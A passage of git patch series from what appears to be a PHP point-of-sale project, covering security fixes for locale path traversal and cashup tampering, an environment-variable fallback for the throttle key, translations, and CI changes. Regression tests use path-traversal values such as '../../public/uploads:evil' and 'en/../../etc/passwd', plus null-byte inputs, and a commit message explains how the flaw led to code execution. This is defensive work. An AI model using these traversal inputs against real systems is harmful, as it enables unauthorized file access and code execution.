testLegacyKeysConstantExposesExpectedSet(): void + { + $expected = [ + 'clcdesq_api_key', + 'clcdesq_api_url', + 'mailchimp_api_key', + 'mailchimp_list_id', + 'smtp_pass', + ]; + $this->assertSame($expected, CI3SecretConverter::LEGACY_KEYS); + } +} From 47aade5024b1f3f96700a39049ebe84c37c6d540 Mon Sep 17 00:00:00 2001 From: jekkos Date: Mon, 21 Sep 2026 17:36:50 +0200 Subject: [PATCH 04/31] fix(locale): validate language_code against known locales to block path traversal (#4704) * fix(locale): validate language_code against known locales to block path traversal postSaveLocale() stored language_code from user input with no allow-list validation, and it later flows into Language::setLocale()/load() where the locale segment is require()'d. An authenticated config-grant account could store a relative path (e.g. ../../public/uploads) and, combined with a planted file in public/uploads/, achieve unauthenticated RCE on the next request. Validate the submitted language against array_keys(get_languages()) before storing, and harden languageExists() to reject path separators and dot-dot sequences. Adds regression tests. * test(locale): give locale fixture valid reference-code min/max defaults * fix(locale): reject null bytes in languageExists guard A stored language_code containing a NUL byte passes the existing path-separator and parent-dir checks, then reaches file_exists(). On PHP 8.5+ file_exists() throws a ValueError for NUL-byte paths, which breaks configuration loading. Reject NUL bytes in the guard and add regression tests. --- app/Controllers/Config.php | 7 +++- app/Events/Load_config.php | 4 +++ tests/Controllers/ConfigTest.php | 59 +++++++++++++++++++++++++++++++- tests/Events/Load_configTest.php | 49 ++++++++++++++++++++++++++ 4 files changed, 117 insertions(+), 2 deletions(-) create mode 100644 tests/Events/Load_configTest.php diff --git a/app/Controllers/Config.php b/app/Controllers/Config.php index b448a87fb..420c92b98 100644 --- a/app/Controllers/Config.php +++ b/app/Controllers/Config.php @@ -506,7 +506,12 @@ class Config extends Secure_Controller return $this->response->setJSON(['success' => false, 'message' => reset($errors)]); } - $exploded = explode(":", $this->request->getPost('language')); + $language = $this->request->getPost('language'); + if (!in_array($language, array_keys(get_languages()), true)) { + return $this->response->setJSON(['success' => false, 'message' => 'Invalid language']); + } + + $exploded = explode(":", $language); $currency_symbol = $this->request->getPost('currency_symbol'); $batch_save_data = [ 'currency_symbol' => htmlspecialchars($currency_symbol ?? ''), diff --git a/app/Events/Load_config.php b/app/Events/Load_config.php index 89e4ece27..d98d68e66 100644 --- a/app/Events/Load_config.php +++ b/app/Events/Load_config.php @@ -62,6 +62,10 @@ class Load_config private function languageExists(string $languageCode): bool { + if (strpbrk($languageCode, '/\\') !== false || str_contains($languageCode, '..') || str_contains($languageCode, "\0")) { + return false; + } + return file_exists(APPPATH . 'Language/' . $languageCode); } } diff --git a/tests/Controllers/ConfigTest.php b/tests/Controllers/ConfigTest.php index 486a64b76..a9c913096 100644 --- a/tests/Controllers/ConfigTest.php +++ b/tests/Controllers/ConfigTest.php @@ -136,7 +136,7 @@ class ConfigTest extends CIUnitTestCase private function baseLocalePayload(array $overrides = []): array { return array_merge([ - 'language' => 'en:English', + 'language' => 'en:english', 'currency_symbol' => '$', 'currency_code' => 'USD', 'timezone' => 'UTC', @@ -151,6 +151,8 @@ class ConfigTest extends CIUnitTestCase 'payment_options_order' => '', 'cash_rounding_code' => '', 'financial_year' => '1', + 'payment_reference_code_min' => '3', + 'payment_reference_code_max' => '20', ], $overrides); } @@ -239,6 +241,61 @@ class ConfigTest extends CIUnitTestCase $this->assertFalse($result['success']); } + // ========== postSaveLocale: language_code allow-list (GHSA) ========== + + public function testSaveLocale_RejectsPathTraversalLanguageCode(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveLocale', $this->baseLocalePayload([ + 'language' => '../../public/uploads:evil', + ])); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + $this->assertStringContainsString('language', strtolower($result['message'])); + } + + public function testSaveLocale_RejectsLanguageCodeWithBackslash(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveLocale', $this->baseLocalePayload([ + 'language' => '..\\..\\public\\uploads:evil', + ])); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + } + + public function testSaveLocale_RejectsUnknownLanguage(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveLocale', $this->baseLocalePayload([ + 'language' => 'xx:nonexistent', + ])); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + } + + public function testSaveLocale_RejectsCaseMismatchedLanguage(): void + { + $this->resetSession(); + + $response = $this->post('/config/saveLocale', $this->baseLocalePayload([ + 'language' => 'en:English', + ])); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertFalse($result['success']); + } + // ========== postSaveGeneral: theme validation ========== private function baseGeneralPayload(array $overrides = []): array diff --git a/tests/Events/Load_configTest.php b/tests/Events/Load_configTest.php new file mode 100644 index 000000000..29a7c6190 --- /dev/null +++ b/tests/Events/Load_configTest.php @@ -0,0 +1,49 @@ +setAccessible(true); + + return (bool) $method->invoke($instance, $languageCode); + } + + public function testLanguageExistsAcceptsValidCode(): void + { + $this->assertTrue($this->languageExists('en')); + } + + public function testLanguageExistsRejectsNullByte(): void + { + $this->assertFalse($this->languageExists("en\0")); + } + + public function testLanguageExistsRejectsNullByteOnly(): void + { + $this->assertFalse($this->languageExists("\0")); + } + + public function testLanguageExistsRejectsForwardSlashPath(): void + { + $this->assertFalse($this->languageExists('en/../../etc/passwd')); + } + + public function testLanguageExistsRejectsBackslashPath(): void + { + $this->assertFalse($this->languageExists('..\..\etc\passwd')); + } + + public function testLanguageExistsRejectsParentDir(): void + { + $this->assertFalse($this->languageExists('..')); + } +} From edcb4bb65592d62d6555085928b5680dfec6cb99 Mon Sep 17 00:00:00 2001 From: jekkos Date: Mon, 21 Sep 2026 17:37:07 +0200 Subject: [PATCH 05/31] Fix GHSA-frx7-c5vv-m3mr: recompute cashup total server-side and force owner identity (#4706) * Fix GHSA-frx7-c5vv-m3mr: recompute cashup total server-side and force owner identity * Add required description field to cashup test POSTs --- app/Controllers/Cashups.php | 27 ++-- tests/Controllers/CashupControllerTest.php | 140 +++++++++++++++++++++ 2 files changed, 158 insertions(+), 9 deletions(-) create mode 100644 tests/Controllers/CashupControllerTest.php diff --git a/app/Controllers/Cashups.php b/app/Controllers/Cashups.php index 0e9b06f23..5ecc9c441 100644 --- a/app/Controllers/Cashups.php +++ b/app/Controllers/Cashups.php @@ -211,20 +211,29 @@ class Cashups extends Secure_Controller $close_date = $this->request->getPost('close_date'); $close_date_formatter = date_create_from_format($this->config['dateformat'] . ' ' . $this->config['timeformat'], $close_date); + $open_amount_cash = parse_decimals($this->request->getPost('open_amount_cash')); + $transfer_amount_cash = parse_decimals($this->request->getPost('transfer_amount_cash')); + $closed_amount_cash = parse_decimals($this->request->getPost('closed_amount_cash')); + $closed_amount_due = parse_decimals($this->request->getPost('closed_amount_due')); + $closed_amount_card = parse_decimals($this->request->getPost('closed_amount_card')); + $closed_amount_check = parse_decimals($this->request->getPost('closed_amount_check')); + + $logged_in_employee = $this->employee->get_logged_in_employee_info(); + $cash_up_data = [ 'open_date' => $open_date_formatter->format('Y-m-d H:i:s'), 'close_date' => $close_date_formatter->format('Y-m-d H:i:s'), - 'open_amount_cash' => parse_decimals($this->request->getPost('open_amount_cash')), - 'transfer_amount_cash' => parse_decimals($this->request->getPost('transfer_amount_cash')), - 'closed_amount_cash' => parse_decimals($this->request->getPost('closed_amount_cash')), - 'closed_amount_due' => parse_decimals($this->request->getPost('closed_amount_due')), - 'closed_amount_card' => parse_decimals($this->request->getPost('closed_amount_card')), - 'closed_amount_check' => parse_decimals($this->request->getPost('closed_amount_check')), - 'closed_amount_total' => parse_decimals($this->request->getPost('closed_amount_total')), + 'open_amount_cash' => $open_amount_cash, + 'transfer_amount_cash' => $transfer_amount_cash, + 'closed_amount_cash' => $closed_amount_cash, + 'closed_amount_due' => $closed_amount_due, + 'closed_amount_card' => $closed_amount_card, + 'closed_amount_check' => $closed_amount_check, + 'closed_amount_total' => $this->_calculate_total($open_amount_cash, $transfer_amount_cash, $closed_amount_due, $closed_amount_cash, $closed_amount_card, $closed_amount_check), 'note' => $this->request->getPost('note') != null, 'description' => $this->request->getPost('description', FILTER_SANITIZE_FULL_SPECIAL_CHARS), - 'open_employee_id' => $this->request->getPost('open_employee_id', FILTER_SANITIZE_NUMBER_INT), - 'close_employee_id' => $this->request->getPost('close_employee_id', FILTER_SANITIZE_NUMBER_INT), + 'open_employee_id' => $logged_in_employee->person_id, + 'close_employee_id' => $logged_in_employee->person_id, 'deleted' => $this->request->getPost('deleted') != null ]; diff --git a/tests/Controllers/CashupControllerTest.php b/tests/Controllers/CashupControllerTest.php new file mode 100644 index 000000000..6373daabb --- /dev/null +++ b/tests/Controllers/CashupControllerTest.php @@ -0,0 +1,140 @@ +DBGroup)->call('App\Database\Seeds\TestDatabaseBootstrapSeeder'); + Config::connect($this->DBGroup)->close(); + + self::$doneBootstrap = true; + } + + parent::setUp(); + + $ospos = new OSPOS(); + $ospos->settings = [ + 'company' => 'Test Co', + 'dateformat' => 'Y-m-d', + 'timeformat' => 'H:i:s', + 'number_locale' => 'en_US', + 'currency_decimals' => 2, + 'thousands_separator' => ',', + ]; + Factories::injectMock('config', OSPOS::class, $ospos); + } + + protected function tearDown(): void + { + Factories::reset(); + parent::tearDown(); + } + + protected function createCashupEmployee(): int + { + return $this->createEmployee( + first_name: 'Cashier', + last_name: 'Cashup', + email: 'cashup.' . uniqid() . '@test.com', + username: 'cashup_' . uniqid(), + grants: [ + ['permission_id' => 'cashups', 'menu_group' => 'home'], + ], + ); + } + + protected function loginAs(int $personId): void + { + $this->withSession([ + 'person_id' => $personId, + 'menu_group' => 'home', + ]); + } + + public function testTamperedTotalIsRecomputedServerSide(): void + { + $cashierId = $this->createCashupEmployee(); + $this->loginAs($cashierId); + + // Component amounts only sum to (50 - 0 - 0 + 10 + 0 + 0) = 60, but the + // client claims a total of 1000.00. The server must store 60, not 1000. + $response = $this->post('/cashups/save/-1', [ + 'open_date' => '2026-09-05 08:00:00', + 'close_date' => '2026-09-05 16:00:00', + 'open_amount_cash' => '0', + 'transfer_amount_cash' => '0', + 'closed_amount_cash' => '50', + 'closed_amount_due' => '10', + 'closed_amount_card' => '0', + 'closed_amount_check' => '0', + 'closed_amount_total' => '1000.00', + 'open_employee_id' => '999999', + 'close_employee_id' => '999999', + 'description' => 'Test cashup - tampered total', + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertTrue($result['success']); + + $cashup = model(Cashup::class)->get_info($result['id']); + $this->assertEquals(60.0, (float) $cashup->closed_amount_total); + } + + public function testConsistentTotalIsStoredAndOwnerIsForcedToAuthenticatedUser(): void + { + $cashierId = $this->createCashupEmployee(); + $this->loginAs($cashierId); + + // 100 - 20 - 5 + 15 + 40 + 25 = 155. The client also tries to attribute + // the cashup to other employees (777/888); the server must force the + // authenticated user's person_id. + $response = $this->post('/cashups/save/-1', [ + 'open_date' => '2026-09-05 08:00:00', + 'close_date' => '2026-09-05 16:00:00', + 'open_amount_cash' => '20', + 'transfer_amount_cash' => '5', + 'closed_amount_cash' => '100', + 'closed_amount_due' => '15', + 'closed_amount_card' => '40', + 'closed_amount_check' => '25', + 'closed_amount_total' => '155', + 'open_employee_id' => '777', + 'close_employee_id' => '888', + 'description' => 'Test cashup - consistent total', + ]); + + $response->assertStatus(200); + $result = json_decode($response->getJSON(), true); + $this->assertTrue($result['success']); + + $cashup = model(Cashup::class)->get_info($result['id']); + $this->assertEquals(155.0, (float) $cashup->closed_amount_total); + $this->assertEquals($cashierId, (int) $cashup->open_employee_id); + $this->assertEquals($cashierId, (int) $cashup->close_employee_id); + } +} From 00b97c3302b30eeb662412e5a5f3f5263f4f3aec Mon Sep 17 00:00:00 2001 From: jekkos Date: Tue, 22 Sep 2026 23:30:05 +0200 Subject: [PATCH 06/31] feat(security): add THROTTLE_KEY env-var fallback for throttle.key (#4707) checkThrottleEncryption() now consults the THROTTLE_KEY environment variable when throttle.key is empty, mirroring the ENCRYPTION_KEY fallback in Config/Encryption. This lets Docker/Compose deployments supply the throttle HMAC secret without writing a shared value into a read-only .env. An explicit throttle.key always takes precedence. Adds regression tests to the existing security_helperTest suite and documents THROTTLE_KEY in .env.example. --- .env.example | 4 ++ app/Helpers/security_helper.php | 11 +++++- tests/helpers/security_helperTest.php | 53 +++++++++++++++++++++++++++ 3 files changed, 67 insertions(+), 1 deletion(-) diff --git a/.env.example b/.env.example index ad13b7c1e..d055638c1 100644 --- a/.env.example +++ b/.env.example @@ -62,6 +62,10 @@ database.tests.DBPrefix='ospos_' encryption.key='' # Persistent secret for HMAC-hashing login-throttle cache keys. Left blank and # provisioned on startup (php spark env:provision); independent of encryption.key. +# For Docker/Compose, pass it via the THROTTLE_KEY env var instead: +# docker run -e THROTTLE_KEY="$(openssl rand -hex 32)" opensourcepos +# THROTTLE_KEY is read as a fallback when throttle.key is empty, so no +# shared secret needs to be committed or baked into the shipped image. throttle.key='' #-------------------------------------------------------------------- diff --git a/app/Helpers/security_helper.php b/app/Helpers/security_helper.php index 469b94243..32635d2c8 100644 --- a/app/Helpers/security_helper.php +++ b/app/Helpers/security_helper.php @@ -327,12 +327,16 @@ function checkEncryption(?CI3SecretConverter $converter = null): bool * Returns the persistent HMAC secret used to hash login-throttle cache keys. * * Behaviour: - * - Key already present: returned immediately (no I/O). + * - Key already present (throttle.key or THROTTLE_KEY): returned immediately (no I/O). * - Key missing and .env IS writable: generates a fresh key and persists it. * - Key missing and .env NOT writable: * throws — the key was presumably already provisioned externally * (e.g. `php spark env:provision` at container startup). * + * THROTTLE_KEY is a real environment-variable fallback (mirroring ENCRYPTION_KEY): + * it is consulted only when throttle.key is empty, so it can be supplied via + * Docker/Compose without writing a shared secret into .env. + * * @return string the throttle key * @throws RuntimeException if the key cannot be provisioned */ @@ -340,6 +344,11 @@ function checkThrottleEncryption(): string { $key = (string) env('throttle.key', ''); + if ($key === '') { + $envKey = getenv('THROTTLE_KEY'); + $key = $envKey === false ? '' : $envKey; + } + if ($key !== '') { return $key; } diff --git a/tests/helpers/security_helperTest.php b/tests/helpers/security_helperTest.php index 75782e179..7d18282e7 100644 --- a/tests/helpers/security_helperTest.php +++ b/tests/helpers/security_helperTest.php @@ -467,6 +467,59 @@ class security_helperTest extends CIUnitTestCase } } + public function testCheckThrottleEncryptionFallsBackToThrottleKeyEnvVar(): void + { + $throttleKey = bin2hex(random_bytes(32)); + + // Clear the dot-notation throttle.key so the THROTTLE_KEY fallback is + // exercised, and leave a .env with no throttle.key so any accidental + // provisioning would be visible in the file assertion below. + putenv('throttle.key'); + unset($_ENV['throttle.key'], $_SERVER['throttle.key']); + file_put_contents($this->envPath, "# tmp\n"); + + $previous = getenv('THROTTLE_KEY'); + putenv("THROTTLE_KEY=$throttleKey"); + + try { + $result = checkThrottleEncryption(); + + $this->assertSame($throttleKey, $result); + $this->assertStringNotContainsString('throttle.key=', file_get_contents($this->envPath), 'the THROTTLE_KEY fallback must not trigger provisioning/write'); + } finally { + if ($previous === false) { + putenv('THROTTLE_KEY'); + } else { + putenv("THROTTLE_KEY=$previous"); + } + } + } + + public function testCheckThrottleEncryptionPrefersThrottleKeyOverEnvVar(): void + { + $explicit = bin2hex(random_bytes(32)); + $fallback = bin2hex(random_bytes(32)); + + putenv("throttle.key=$explicit"); + $_ENV['throttle.key'] = $explicit; + $_SERVER['throttle.key'] = $explicit; + + $previous = getenv('THROTTLE_KEY'); + putenv("THROTTLE_KEY=$fallback"); + + try { + $result = checkThrottleEncryption(); + + $this->assertSame($explicit, $result, 'an explicit throttle.key must take precedence over the THROTTLE_KEY fallback'); + } finally { + if ($previous === false) { + putenv('THROTTLE_KEY'); + } else { + putenv("THROTTLE_KEY=$previous"); + } + } + } + // -- rotateEncryptionKey() — provisioning path, does write -- public function testRotateEncryptionKeyPersistsNewKey(): void From 4e0466fbf11eda4fc4056372c808083b0100c3e8 Mon Sep 17 00:00:00 2001 From: Rayan Abdul Cader <141821420+minutechreview@users.noreply.github.com> Date: Wed, 23 Sep 2026 01:16:25 -0400 Subject: [PATCH 07/31] fix(i18n): translate remaining English labels in Swiss German Items.php (#4701) * fix(i18n): translate leftover English strings in de-CH Items.php Replace remaining English UI labels in the Swiss German items locale with German wording aligned to de-DE, preserving keys and placeholders. Co-authored-by: Rayan Abdul Cader * fix(i18n): use plural Zeilen in de-CH csv_import_partially_failed --------- Co-authored-by: Cursor Agent Co-authored-by: Rayan Abdul Cader Co-authored-by: objecttothis <17935339+objecttothis@users.noreply.github.com> --- app/Language/de-CH/Items.php | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/app/Language/de-CH/Items.php b/app/Language/de-CH/Items.php index 7ea13990c..00ba32569 100644 --- a/app/Language/de-CH/Items.php +++ b/app/Language/de-CH/Items.php @@ -16,9 +16,9 @@ return [ 'change_all_to_not_allow_allow_desc' => 'Ändere alle zu NICHT Erlaube Alt. Bez.', 'change_all_to_serialized' => 'Ändere alle zu serialisiert', 'change_all_to_unserialized' => 'Ändere alle zu nicht serialisiert', - 'change_image' => 'Change Image', + 'change_image' => 'Bild ändern', 'confirm_bulk_edit' => 'Wollen Sie alle gewählten Artikel ändern?', - 'confirm_bulk_edit_wipe_taxes' => 'All item tax information will be replaced!', + 'confirm_bulk_edit_wipe_taxes' => 'Alle Artikel-Steuerinformationen werden ersetzt.', 'confirm_delete' => 'Wollen Sie alle gewählten Artikel löschen?', 'confirm_restore' => '', 'cost_price' => 'Einstandspreis', @@ -27,9 +27,9 @@ return [ 'count' => 'Ändere Bestand', 'csv_import_failed' => 'CSV Import fehlerhaft', 'csv_import_invalid_location' => '', - 'csv_import_nodata_wrongformat' => 'Your uploaded file has no data or wrong format', - 'csv_import_partially_failed' => 'Most Items imported. But some were not, here is the list', - 'csv_import_success' => 'Import of Items successful', + 'csv_import_nodata_wrongformat' => 'Die hochgeladene Datei enthält keine Daten oder ist falsch formatiert.', + 'csv_import_partially_failed' => 'Bei {0} Artikelimporten sind in den Zeilen {1} Fehler aufgetreten. Es wurden keine Zeilen importiert.', + 'csv_import_success' => 'Artikelimport erfolgreich.', 'current_quantity' => 'Aktuelle Menge', 'default_pack_name' => '', 'description' => 'Bezeichnung', @@ -45,7 +45,7 @@ return [ 'hsn_code' => '', 'image' => 'Bild', 'import_items_csv' => 'Importiere Artikel mit CSV Datei', - 'info_provided_by' => 'Info provided by', + 'info_provided_by' => 'Informationen bereitgestellt von', 'inventory' => 'Lagerbestand', 'inventory_CSV_import_quantity' => '', 'inventory_comments' => 'Bemerkungen', @@ -85,7 +85,7 @@ return [ 'quantity_number' => 'Menge muss eine Zahl sein', 'quantity_required' => 'Menge ist erforderlich', 'receiving_quantity' => 'Eingangsmenge', - 'remove_image' => 'Remove Image', + 'remove_image' => 'Bild löschen', 'reorder_level' => 'Mindestbestand', 'reorder_level_number' => 'Mindestbestand muss eine Zahl sein', 'reorder_level_required' => 'Mindestbestand ist erforderlich', @@ -93,7 +93,7 @@ return [ 'sales_tax_1' => 'Umsatzsteuer 1', 'sales_tax_2' => 'Umsatzsteuer 2', 'search_attributes' => 'Suche in Zusatzfeldern', - 'select_image' => 'Select Image', + 'select_image' => 'Bild auswählen', 'serialized_items' => 'Serialisierte Artikel', 'standard' => '', 'stock' => '', From ca3d982dc28c8781aa359784924643a5836ea312 Mon Sep 17 00:00:00 2001 From: jekkos Date: Wed, 23 Sep 2026 11:38:31 +0200 Subject: [PATCH 08/31] fix(ci): stop stamping app version onto master and branch Docker tags (#4709) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes #4695 Master and PR builds were tagging every Docker image with the App.php version (e.g. 3.4.2-master-), flooding Docker Hub with tags for versions that were never released. Docker tags are now scoped to the ref: - master → master, - branch → - - semver tag → , latest Additional hardening: - Release tag trigger restricted to three-component semver (N.N.N) so non-semver tags (e.g. 3.preview) no longer publish a `latest` image - Branch names sanitized: chars outside [a-zA-Z0-9_.-] replaced with _, total tag truncated to stay within Docker's 128-char limit, leading `.` or `-` prevented - Fixed README.md claim that master builds push a `latest` tag --- .github/workflows/README.md | 14 ++++++++------ .github/workflows/build-release.yml | 20 ++++++++++++++++---- 2 files changed, 24 insertions(+), 10 deletions(-) diff --git a/.github/workflows/README.md b/.github/workflows/README.md index ff51f5276..e4adb1f83 100644 --- a/.github/workflows/README.md +++ b/.github/workflows/README.md @@ -13,8 +13,10 @@ This document describes the CI/CD workflows for OSPOS. ### Docker Images - Build and push `opensourcepos` Docker image for multiple architectures (linux/amd64, linux/arm64) -- On master: tagged with version and `latest` -- On other branches: tagged with version only +- On `master`: tagged `master` and `` +- On other branches: tagged `-` +- On a semver tag (e.g. `3.4.2`): tagged `` and `latest` +- The version number is never stamped onto `master`/branch builds — it only appears on tag releases - Pushed to Docker Hub ### Releases @@ -39,10 +41,10 @@ The `GITHUB_TOKEN` is automatically provided by GitHub Actions. ## Workflow Triggers -- **Push to master** - Runs build, Docker push (with `latest` tag), and release -- **Push to other branches** - Runs build and Docker push (version tag only) -- **Push tags** - Runs build and Docker push (version tag only) -- **Pull requests** - Runs build only (PHPUnit tests run in parallel via phpunit.yml) +- **Push to master** - Runs build, Docker push (`master` + `` tags), and creates/updates the `unstable` release +- **Push to other branches** - Runs build and Docker push (`-` tag) +- **Push a semver tag** (e.g. `3.4.2`) - Runs build and Docker push (`` + `latest` tags) +- **Pull requests** - Runs build only (PHPUnit tests run in parallel via phpunit.yml); no Docker push ## Existing Workflows diff --git a/.github/workflows/build-release.yml b/.github/workflows/build-release.yml index 23774385e..6f8efe6e6 100644 --- a/.github/workflows/build-release.yml +++ b/.github/workflows/build-release.yml @@ -2,6 +2,10 @@ name: Build and Release on: push: + branches: + - '**' + tags: + - '[0-9]+.[0-9]+.[0-9]+' pull_request: branches: - master @@ -154,11 +158,19 @@ jobs: - name: Determine Docker tags id: tags run: | - BRANCH=$(echo "${GITHUB_REF#refs/heads/}" | tr '/' '_') - if [ "$BRANCH" = "master" ]; then - echo "tags=${{ secrets.DOCKER_USERNAME }}/opensourcepos:${{ needs.build.outputs.version-tag }},${{ secrets.DOCKER_USERNAME }}/opensourcepos:master" >> $GITHUB_OUTPUT + REGISTRY="${{ secrets.DOCKER_USERNAME }}/opensourcepos" + SHA="${{ needs.build.outputs.short-sha }}" + if [[ "$GITHUB_REF" == refs/tags/* ]]; then + VERSION="${GITHUB_REF#refs/tags/}" + echo "tags=${REGISTRY}:${VERSION},${REGISTRY}:latest" >> "$GITHUB_OUTPUT" + elif [[ "$GITHUB_REF" == refs/heads/master ]]; then + echo "tags=${REGISTRY}:master,${REGISTRY}:${SHA}" >> "$GITHUB_OUTPUT" else - echo "tags=${{ secrets.DOCKER_USERNAME }}/opensourcepos:${{ needs.build.outputs.version-tag }}" >> $GITHUB_OUTPUT + BRANCH="${GITHUB_REF#refs/heads/}" + BRANCH="$(printf '%s' "$BRANCH" | LC_ALL=C tr -c 'A-Za-z0-9_.-' '_')" + BRANCH="${BRANCH:0:$((128 - ${#SHA} - 1))}" + [[ "$BRANCH" == [-.]* ]] && BRANCH="_${BRANCH:1}" + echo "tags=${REGISTRY}:${BRANCH}-${SHA}" >> "$GITHUB_OUTPUT" fi env: GITHUB_REF: ${{ github.ref }} From d821cf8d3a419c49593fd0f44732057232bf0ce9 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 23 Sep 2026 13:40:35 +0400 Subject: [PATCH 09/31] chore(deps): bump fflate from 0.8.2 to 0.8.3 (#4690) Bumps [fflate](https://github.com/101arrowz/fflate) from 0.8.2 to 0.8.3. - [Release notes](https://github.com/101arrowz/fflate/releases) - [Changelog](https://github.com/101arrowz/fflate/blob/master/CHANGELOG.md) - [Commits](https://github.com/101arrowz/fflate/compare/v0.8.2...v0.8.3) --- updated-dependencies: - dependency-name: fflate dependency-version: 0.8.3 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: objecttothis <17935339+objecttothis@users.noreply.github.com> --- package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index 887818679..5ef9efa33 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1933,9 +1933,9 @@ } }, "node_modules/fflate": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.2.tgz", - "integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==", + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.3.tgz", + "integrity": "sha512-tbZNuJrLwGUp3zshBtdy4W+ORxZuIh8a5ilyIEQDC5rY1f3U20JMry0Ll3WBzU58EZKsEuJFXhb5gwv8CsPvgA==", "license": "MIT" }, "node_modules/file-saver": { From ff9a465b9064d31e2c980f8f58afe1cf767448db Mon Sep 17 00:00:00 2001 From: Rayan Abdul Cader <141821420+minutechreview@users.noreply.github.com> Date: Thu, 24 Sep 2026 02:37:57 -0400 Subject: [PATCH 10/31] fix(i18n): swap print_delay_autoreturn number/required messages in 5 locales (#4699) Swap the swapped number/required validation strings in da, es-MX, ta, en-GB, and tl to match the mapping used by other *_number/*_required pairs and the receipt_config.php jQuery Validate wiring. Also clear residual English autoreturn messages from non-English locales. --------- Co-authored-by: Cursor Agent Co-authored-by: Rayan Abdul Cader --- app/Language/da/Config.php | 4 ++-- app/Language/en-GB/Config.php | 4 ++-- app/Language/es-MX/Config.php | 4 ++-- app/Language/ta/Config.php | 4 ++-- app/Language/tl/Config.php | 4 ++-- 5 files changed, 10 insertions(+), 10 deletions(-) diff --git a/app/Language/da/Config.php b/app/Language/da/Config.php index 4396893f8..fd7e90a0a 100644 --- a/app/Language/da/Config.php +++ b/app/Language/da/Config.php @@ -236,8 +236,8 @@ return [ 'print_bottom_margin_number' => 'Margin Bottom must be a number.', 'print_bottom_margin_required' => 'Margin Bottom is a required field.', 'print_delay_autoreturn' => 'Autoreturn to Sale delay', - 'print_delay_autoreturn_number' => 'Autoreturn to Sale delay is a required field.', - 'print_delay_autoreturn_required' => 'Autoreturn to Sale delay must be a number.', + 'print_delay_autoreturn_number' => '', + 'print_delay_autoreturn_required' => '', 'print_footer' => 'Print Browser Footer', 'print_header' => 'Print Browser Header', 'print_left_margin' => 'Margin Left', diff --git a/app/Language/en-GB/Config.php b/app/Language/en-GB/Config.php index 8a24b671d..e356369d2 100644 --- a/app/Language/en-GB/Config.php +++ b/app/Language/en-GB/Config.php @@ -236,8 +236,8 @@ return [ 'print_bottom_margin_number' => 'Bottom Margin must be a number.', 'print_bottom_margin_required' => 'Bottom Margin is a required field.', 'print_delay_autoreturn' => 'Autoreturn to Sale delay', - 'print_delay_autoreturn_number' => 'Autoreturn to Sale delay is a required field.', - 'print_delay_autoreturn_required' => 'Autoreturn to Sale delay must be a number.', + 'print_delay_autoreturn_number' => 'Autoreturn to Sale delay must be a number.', + 'print_delay_autoreturn_required' => 'Autoreturn to Sale delay is a required field.', 'print_footer' => 'Print Browser Footer', 'print_header' => 'Print Browser Header', 'print_left_margin' => 'Margin Left', diff --git a/app/Language/es-MX/Config.php b/app/Language/es-MX/Config.php index d3f4a69f9..987f62a8e 100644 --- a/app/Language/es-MX/Config.php +++ b/app/Language/es-MX/Config.php @@ -236,8 +236,8 @@ return [ 'print_bottom_margin_number' => 'Margin Bottom must be a number.', 'print_bottom_margin_required' => 'Margin Bottom is a required field.', 'print_delay_autoreturn' => 'Autoreturn to Sale delay', - 'print_delay_autoreturn_number' => 'Autoreturn to Sale delay is a required field.', - 'print_delay_autoreturn_required' => 'Autoreturn to Sale delay must be a number.', + 'print_delay_autoreturn_number' => '', + 'print_delay_autoreturn_required' => '', 'print_footer' => 'Print Browser Footer', 'print_header' => 'Print Browser Header', 'print_left_margin' => 'Margin Left', diff --git a/app/Language/ta/Config.php b/app/Language/ta/Config.php index 9733fe5fe..c06a4d27e 100644 --- a/app/Language/ta/Config.php +++ b/app/Language/ta/Config.php @@ -236,8 +236,8 @@ return [ 'print_bottom_margin_number' => 'Margin Bottom must be a number.', 'print_bottom_margin_required' => 'Margin Bottom is a required field.', 'print_delay_autoreturn' => 'Autoreturn to Sale delay', - 'print_delay_autoreturn_number' => 'Autoreturn to Sale delay is a required field.', - 'print_delay_autoreturn_required' => 'Autoreturn to Sale delay must be a number.', + 'print_delay_autoreturn_number' => '', + 'print_delay_autoreturn_required' => '', 'print_footer' => 'Print Browser Footer', 'print_header' => 'Print Browser Header', 'print_left_margin' => 'Margin Left', diff --git a/app/Language/tl/Config.php b/app/Language/tl/Config.php index aa414370c..fd5d75f7f 100644 --- a/app/Language/tl/Config.php +++ b/app/Language/tl/Config.php @@ -236,8 +236,8 @@ return [ 'print_bottom_margin_number' => 'Margin Left must be a number.', 'print_bottom_margin_required' => 'Margin Left is a required field.', 'print_delay_autoreturn' => 'Autoreturn to Sale delay', - 'print_delay_autoreturn_number' => 'Autoreturn to Sale delay is a required field.', - 'print_delay_autoreturn_required' => 'Autoreturn to Sale delay must be a number.', + 'print_delay_autoreturn_number' => '', + 'print_delay_autoreturn_required' => '', 'print_footer' => 'Print Browser Header', 'print_header' => 'Print Browser Footer', 'print_left_margin' => 'Margin Left', From 2da95e33b6a1210c924733058ef1c6e8e5d1575b Mon Sep 17 00:00:00 2001 From: jekkos Date: Thu, 24 Sep 2026 20:49:51 +0200 Subject: [PATCH 11/31] chore(release): unified git-cliff release workflow (changelog + tag + optional bump) (#4711) * chore: unified release workflow (git-cliff changelog 